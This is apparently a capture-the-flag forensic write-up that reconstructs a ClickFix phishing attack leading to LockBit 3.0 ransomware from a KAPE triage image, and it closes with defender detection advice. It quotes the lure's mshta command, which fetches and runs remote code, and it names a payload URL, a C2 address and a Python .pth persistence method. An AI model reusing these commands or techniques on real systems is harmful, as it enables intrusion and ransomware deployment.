Fake

Scenario

Khalid, a crypto engineer at EZ-CERT, experienced a sudden system freeze while working. Assuming it was a hardware glitch, he rebooted — only to find all files encrypted with a ransom note. SOC responders Sarah and Jason secured the machine and captured a KAPE triage image. The task is to trace the attacker from initial access through privilege escalation, persistence, defence evasion, reconnection, and ransomware deployment.

Methodology

Initial Triage — User and Environment

The KAPE artefact tree places the active user as khaled.allam. Timezone metadata in ActivitiesCache.db confirms Cairo (UTC+2). Three other user accounts exist on the machine (adam.lee, omar.ahmed, A1L4M) but none show attack-day activity. Khalid was running Python 3.13 installed at user scope under AppData\Local\Programs\Python\Python313\ — a detail that becomes significant later.

The Microsoft-Windows-PowerShell%4Operational.evtx channel (Event ID 4104 ScriptBlock logging) was populated and survived attacker cleanup. This channel drove most of the session 1 reconstruction and is the reason the attack chain is recoverable at all.

Phishing Vehicle — ClickFix via nftlive.com

Edge History (SQLite) shows three browser visits to nftlive.com at 2025-03-06 01:24:58, all titled reCAPTCHA Verification, preceded by a Bing search for nft update. Khalid was actively researching NFTs — the ClickFix lure was precisely tailored to his interest.

The ClickFix pattern presents a fake reCAPTCHA challenge instructing the victim to open Win+R and paste a command “to verify you’re human.” The $MFT retained an entry for:

\Users\khaled.allam\AppData\Local\Microsoft\Windows\INetCache\IE\0XXXMJY8\recaptcha-verify[1]

with FileSize 12901 and CreationTime 2025-03-06 01:25:14.857. The body was wiped by attacker cleanup, but the MFT slot survived — cleanup tools target file content and directory entries, not NTFS metadata. The content-length was recoverable without the payload.

Recovering the Exact Command — ActivitiesCache

ActivitiesCache.db (Windows Timeline) at c568c79693b0a833\ActivitiesCache.db stores clipboard entries in the ActivityOperation table. Querying ClipboardPayload:

SELECT OperationOrder, CAST(ClipboardPayload AS TEXT) AS clipboard_text
FROM ActivityOperation
WHERE ClipboardPayload IS NOT NULL;

Returns a row at 2025-03-06 01:25:03 containing a Base64 blob that decodes to:

mshta http://nftlive.com/recaptcha-verify #I am not a robot - reCAPTCHA Verification ID: 7523

The # character makes everything after it a URL fragment — mshta ignores it entirely. The social engineering text exists purely to make the Win+R paste look like a plausible captcha action. This is the verbatim command Khalid pasted and executed at 01:25:03.

Stage 1 → Stage 2 Loader

The PS Operational 4104 ScriptBlock cluster at 01:25:16 contains an inline Base64+gzip+IEX one-liner — the standard PowerShell reflective loader pattern. The empty EventData block in the Console Startup event at the same second confirms the host was mshta.exe rather than PowerShell directly. mshta executed the HTA, which spawned the PowerShell stage.

Decompressing the gzip payload reveals a reflective shellcode loader using VirtualAlloc + Marshal::Copy + delegate function pointers. The stager fetches the second stage from GitHub:

https://github.com/user-attachments/files/19091801/payload.txt

payload.txt is hex-encoded gzip. Decompressed and XOR’d with key 0x9C, the result is raw x64 position-independent shellcode — 460 bytes of msfvenom windows/x64/meterpreter/reverse_tcp stager.

Extracting the C2 — Shellcode Analysis

The shellcode contains no plaintext C2 address. It resolves Win32 API functions at runtime via hash comparison, then calls connect() with an inline sockaddr struct packed into a single 8-byte push immediate at offset 228:

mov r12, 0xbf4c79030000a002
push r12

That immediate in little-endian decodes directly:

C2: 3.121.76.191:41148 — an AWS EU Central 1 (Frankfurt) instance. No dynamic analysis or emulation required; the sockaddr was readable directly from the push immediate once the XOR layer was stripped.

Privilege Escalation — CVE-2024-35250

certutil pulled info.exe to \Users\khaled.allam\AppData\Local\Temp\ at 01:34:07. PECmd against INFO.EXE-4BBBDC78.pf shows the binary loading the Kernel Streaming driver stack:

\WINDOWS\SYSTEM32\DRIVERS\KS.SYS
\WINDOWS\SYSTEM32\DRIVERS\KSTHUNK.SYS
\WINDOWS\SYSTEM32\DRIVERS\MSKSSRV.SYS
\WINDOWS\SYSTEM32\DRIVERS\SWENUM.SYS

This driver chain fingerprints the exploit as CVE-2024-35250 — a Microsoft Kernel Streaming Service privilege escalation patched in June 2024. The host was still unpatched nine months later. info.exe first ran at 01:36:02; WHOAMI prefetch fired at 01:36:08, confirming SYSTEM-level access within six seconds.

Defence Evasion — temp1.ps1 and Cleanup

certutil fetched temp1.ps1 alongside info.exe. PowerShell history shows execution at 01:47:15. The script wiped HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU — the registry key storing Win+R command history. The key’s last-write timestamp matches the script execution exactly, and the key was empty on collection. Without the ActivitiesCache find, this wipe would have destroyed the primary source for Q1.

The Recycle Bin was emptied at 01:56:27 — a File_Deleted event on $RECYCLE.BIN visible in $UsnJrnl:$J. Both events are recorded in the USN journal despite the attempt to remove them, because USN records survive the deletion of the files they describe.

Discovery

systeminfo ran immediately after initial shell access — the first attacker reconnaissance command. Later in the session, Get-SmbShare | ConvertTo-Json executed at 01:52:24 as SYSTEM (SID S-1-5-18 in the 4104 ScriptBlockText), enumerating network shares before Khalid powered off. This was the last recorded attacker activity in session 1.

Persistence — Ghost Toolbox and Python .pth

This is the most forensically unusual finding in the investigation. $UsnJrnl:$J shows update.pth created at 2025-03-06 01:29:18 in:

\Users\khaled.allam\AppData\Local\Programs\Python\Python313\Lib\site-packages\update.pth

Python .pth files in site-packages are processed automatically by the interpreter at startup. Any line beginning with import is executed as code — a legitimate Python mechanism abused for persistence (T1546.013). The attacker planted a one-liner that re-establishes the C2 connection every time Python starts. The file was deleted during cleanup but its content survived in the MFT.

Tracing the mechanism upstream via PECmd on PYTHON.EXE-2677C636.pf (last run 12:58:07) reveals the FilesLoaded list includes both update.pth and \Ghost Toolbox\toolbox.updater.x64.exe. A shortcut at \Users\Default\Desktop\Ghost Toolbox.lnk targets C:\Ghost Toolbox\toolbox.updater.x64.exe — the Ghost Toolbox directory was deleted by cleanup but the LNK survived.

Amcache UnassociatedFileEntries confirms toolbox.updater.x64.exe at c:\ghost toolbox\toolbox.updater.x64.exe with SHA1 13ebbf56e7d93482712dcd4c6b6866a40e5560db, first seen 2024-11-07. The Ghost Toolbox directory also contained \Wget\iobit.driver.booster.v11.6.0.128.repack.bin — a trojanized IObit Driver Booster repack that was the likely original infection vector: Khalid downloaded pirated software that silently installed the Ghost Toolbox persistence kit months before the active attack phase.

The full persistence chain: trojanized installer → Ghost Toolbox → toolbox.updater.x64.exe at logon → python.exe → update.pth auto-imported → C2 reconnection script.

Recovering update.pth SHA1 — MFT Resident File Extraction

update.pth was deleted during cleanup. Standard SHA1 recovery paths all failed: Amcache and Shimcache track executables only, and the file was never fetched via WinINet or Crypt APIs so no CryptnetUrlCache or INetCache entry exists.

At approximately 50 bytes, update.pth was small enough to be stored as a resident MFT $DATA attribute — inline in the MFT record itself, with no separate cluster allocation. Even after deletion, the MFT record may retain the inline data because cleanup tools that remove directory entries don’t zero the record’s attribute content. MFTECmd.exe --dr dumps all resident $DATA attributes from the $MFT into a Resident\ subdirectory, naming each file <EntryNum>-<SeqNum>_<FileName>.bin:

.\MFTECmd.exe -f "C:\...\$MFT" --csv "C:\output" --dr

find mft_resident/Resident -iname '*update*pth*' -exec sha1sum {} \;
# 3bb59381e7d6256299bf6a4ea388f2915612753b  128437-1_update.pth.bin

The content was fully intact. This technique is replicable for any small deleted file — configuration files, one-liner scripts, and short payload stagers are systematically recoverable this way when cleanup tools don’t perform explicit MFT attribute scrubbing.

Reconnection

$UsnJrnl:$J shows the first write event of session 2 at 2025-03-06 12:58:07 — a PowerShell temp script tmp7j7bt9ot.ps1 written to \Users\khaled.allam\AppData\Local\Temp\. This is the exact moment the update.pth persistence triggered: Khalid logged back in after the reboot, toolbox.updater.x64.exe launched at logon, Python auto-processed update.pth, and the C2 reconnection script fired. PYTHON.EXE-2677C636.pf confirms last run 12:58:07.

The reconnection was followed by info.exe re-staging at 13:00:09 to regain SYSTEM, then curl.exe downloading update.exe at 13:00:34.

CURL.EXE-669CD8D3.pf last run 13:02:07 — the confirmed execution timestamp of the LockBit binary, established via the curl prefetch showing it had last touched update.exe at that moment.

LockBit 3.0 Deployment — Alphabet Rename Chain

At 13:02:18, update.exe (FRN 0x0011000000014EE0) begins a 26-step rename sequence through the alphabet in \Users\khaled.allam\AppData\Local\Temp\:

update.exe → AAAAAAAAAA → BBBBBBBBBB → CCCCCCCCCC → ... → YYYYYYYYYY → ZZZZZZZZZZ

Each step produces a File_Renamed_Old / File_Renamed_New pair on the same FRN in the USN journal. The final entry is File_Closed / File_Deleted on ZZZZZZZZZZ. This alphabet-chain rename is a behavioural signature of LockBit 3.0 (LockBit Black) — a deliberate anti-forensic technique to frustrate timeline reconstruction and invalidate prefetch path correlation for the binary name.

Simultaneously, \Users\khaled.allam\Desktop\Notes.txt was overwritten and renamed to Notes.txt.bMHeBJMks — a randomly generated 9-character per-victim extension applied to every file LockBit encrypts.

LockBit Worker Processes — 118B.tmp and 1600.tmp

Correlating prefetch with the USN journal exposes a second anti-forensic pattern. 118B.TMP-36FFC5F9.pf exists in \Windows\Prefetch\ — a .tmp file with its own prefetch entry is exceptional, since Windows only generates prefetch for executed binaries. Its presence proves 118B.tmp was run as a binary, not just written as scratch data.

PECmd on 118B.TMP-36FFC5F9.pf confirms the execution context:

Executable name: 118B.TMP
Last run: 2025-03-06 13:02:18
Files referenced: 55

08: \PROGRAMDATA\118B.TMP  (Executable: True)
53: \USERS\KHALED.ALLAM\APPDATA\LOCAL\TEMP\UPDATE.EXE  (Keyword: True)

118B.tmp is a 32-bit LockBit encryption worker (all SYSWOW64 DLL references) running in parallel with update.exe at 13:02:18. The USN journal shows it created in \ProgramData\ with Archive / Not_Content_Indexed / Temporary flags, followed by Data_Truncated events — consistent with a self-wiping worker that zeroes its own content after the encryption pass completes.

Searching the USN journal for files at sequentially adjacent FRNs surfaces a sibling: 1600.tmp at \19EBB372\1600.tmp with FRN 0x000300000001356E — immediately sequential to 118B.tmp’s 0x000300000001356D. Both are hex-named, both carry Temporary USN flags, both are created at 13:02:18, and both are deleted after the encryption pass. Sequential MFT allocation confirms they were created in the same burst of ransomware activity. These are the last two names used by the malicious LockBit worker component — identifiable only through prefetch-to-USN journal correlation; file-hash and path-based detection would miss both entirely given their non-executable extensions and self-wiping behaviour.

Event Log Corruption

At 13:02:16–13:02:18, LockBit issued Data_Overwritten and Data_Truncated USN events against seven .evtx files:

13:02:16  Application.evtx
13:02:18  HardwareEvents.evtx
13:02:18  Internet Explorer.evtx
13:02:18  Key Management Service.evtx
13:02:18  Security.evtx
13:02:18  System.evtx
13:02:18  Windows PowerShell.evtx

First letters alphabetised: AHIKSSW. The selection is notable for what was missed: Microsoft-Windows-PowerShell%4Operational.evtx — the modern ScriptBlock log channel — was not on the truncation list. The attacker targeted seven well-known legacy channels but omitted the operational channel that retained the entire stage 1 attack chain. This oversight is the reason the full investigation was reconstructible.

Attack Summary

IOCs

MITRE ATT&CK

Defender Takeaways

mshta.exe network execution is a zero-legitimate-use detection. The entire attack chain begins with mshta.exe spawned by explorer.exe (Win+R invocation) with an http:// URL argument. This combination has no legitimate enterprise use case. A single detection rule on mshta.exe process creation with a network URL in the command line — particularly parented by explorer.exe — catches the attack at second zero and blocks everything downstream. ClickFix is now a dominant initial access technique specifically because mshta execution is underdetected; this rule should be a SOC baseline, not an optional enhancement.

Living-off-trusted-sites bypasses URL reputation filtering entirely. Stage 2 shellcode was hosted on github.com/user-attachments — a domain categorised as trusted by essentially all web filtering products. certutil.exe and curl.exe pulling executables from external URLs are both LOLBin patterns with zero legitimate enterprise use. Detections on certutil.exe -urlcache -f writing .exe output and curl.exe spawning from PowerShell with executable output targets should be enabled and alerting. The broader principle: egress detection needs to evaluate LOLBin parent process context and output file type, not just domain reputation.

Python .pth site-packages is a persistence primitive that bypasses most playbooks. Any .pth file in a Python site-packages directory containing a line beginning with import will execute that statement at every interpreter startup — no registry keys, no scheduled tasks, no startup folder entries. This persistence survived a full reboot and left almost no forensic trace after deletion. Defenders should monitor site-packages\*.pth file creation via EDR and flag unexpected files appearing in Python installation directories. Most persistence detection playbooks focus on traditional Windows mechanisms and miss this entirely.

MFT resident file extraction recovers deleted small files that bypass every other channel. update.pth appeared unrecoverable — no Amcache, Shimcache, or cache artefact existed. At approximately 50 bytes it was stored inline as a resident MFT $DATA attribute. MFTECmd.exe --dr dumped the full content intact. Small scripts, configuration files, and one-liner payloads are systematically missed by cleanup tools that operate at the filesystem level. MFT resident extraction should be a standard IR step when a small deleted file needs to be recovered and conventional sources come up empty.

Prefetch-to-USN journal correlation maps malware worker architecture. The presence of 118B.TMP-36FFC5F9.pf in \Windows\Prefetch\ immediately signals binary execution from a non-standard extension. Correlating the prefetch execution timestamp with surrounding USN journal FRN entries exposed both 118B.tmp and 1600.tmp as sequential LockBit 3.0 worker processes identified by adjacent MFT allocation. The technique is repeatable: when prefetch shows an unusual extension, find the execution timestamp, pull all USN records at that second, and search for FRN-adjacent files with similar naming. It resolves anti-forensic binary naming that defeats file-hash and path-based detection entirely.

Log truncation target lists expose attacker knowledge gaps. LockBit targeted seven specific evtx files by name but missed Microsoft-Windows-PowerShell%4Operational.evtx — the modern ScriptBlock log channel that preserved the entire stage 1 chain in 4104 events. Defenders should ensure ScriptBlock logging is enabled, the operational channel is collected by a SIEM agent independently of Windows log forwarding, and is explicitly excluded from local size caps or rotation. The attacker’s blind spot here was the investigation’s primary forensic source — and it was only a blind spot because the channel was populated and captured intact by KAPE.